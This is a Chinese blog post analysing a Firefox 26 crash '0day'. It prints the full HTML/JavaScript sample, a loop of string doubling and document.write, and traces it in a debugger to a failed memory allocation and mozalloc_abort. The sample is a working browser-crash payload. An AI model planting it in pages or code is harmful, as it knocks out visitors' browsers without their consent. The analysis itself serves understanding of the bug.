firefox html 拖拽打开网页,Firefox Crash 0Day 一个html网页让你的火狐浏览器崩溃

今日,在网上看到一个Firefox Crash 0Day,于是分析了一下崩溃点和崩溃原因,样本文件是一个html文件,内容如下(注意:注释是我自己添加上去的):

【样本文件】(有兴趣可以自己保存测试一下哦。)

Mozilla Firefox Crash 0Day

function coolkaveh(){

var buf = '\x41\x41\x41'

for(i=0; i <= 800 ; ++i){

buf+=buf+buf            //Written by vscen:这里存在问题,字符串太长会导致内存分配失败,之后调用mozalloc.mozalloc_abort触发崩溃

document.write(buf);   //Written by vscen:罪魁祸首

}

}

【相关环境】

分析工具:OllyICE

浏览器:Firefox 26.0.0.5087

操作系统:Windows

【分析过程】

分配document.write(buf)所需的字符串内存,如果分配内存失败则调用mozalloc.mozalloc_abort函数触发崩溃:

10004C15 >  56              push    esi                              ; mozglue.malloc

10004C16    8B7424 08       mov     esi, dword ptr [esp+8]

10004C1A    85F6            test    esi, esi

10004C1C    75 01           jnz     short 10004C1F

10004C1E    46              inc     esi

10004C1F    81FE 00F00F00   cmp     esi, 0FF000

10004C25    77 13           ja      short 10004C3A

10004C27    6A 00           push    0

10004C29    E8 60FDFFFF     call    1000498E

10004C2E    8BC8            mov     ecx, eax

拷贝(buf)里面的字符串到分配的缓冲区:

0156265C    8BD7            mov     edx, edi

0156265E    2BD0            sub     edx, eax

01562660    52              push    edx

01562661    50              push    eax

01562662    8B06            mov     eax, dword ptr [esi]

01562664    53              push    ebx

01562665    E8 26130000     call    01563990

堆栈信息:

0012DDA8   00F61096  /CALL 到 malloc 来自 mozalloc.00F61094

0012DDAC   0048FB78  \size = 48FB78 (4782968.)

0012DDB0   001853D3

0012DDB4   110503E0

0012DDB8   01563B0A  返回到 xul.01563B0A 来自 mozalloc.moz_xmalloc

0012DDBC   0048FB78

0012DDC0   001853D3

0012DDC4   10F3A450

0012DDC8   00000041

0012DDCC   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

0012DDD0   00000000

0012DDD4   00000000

0012DDD8   0156266A  返回到 xul.0156266A 来自 xul.01563990

0012DDDC   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

0012DDE0   00000000

0012DDE4   00247DBC

0012DDE8   0012DE94

0012DDEC   10F3A450

0012DDF0   00000000

0012DDF4   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

标签: Firefox

顶一下

(0)

0%

踩一下

(0)

0%

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值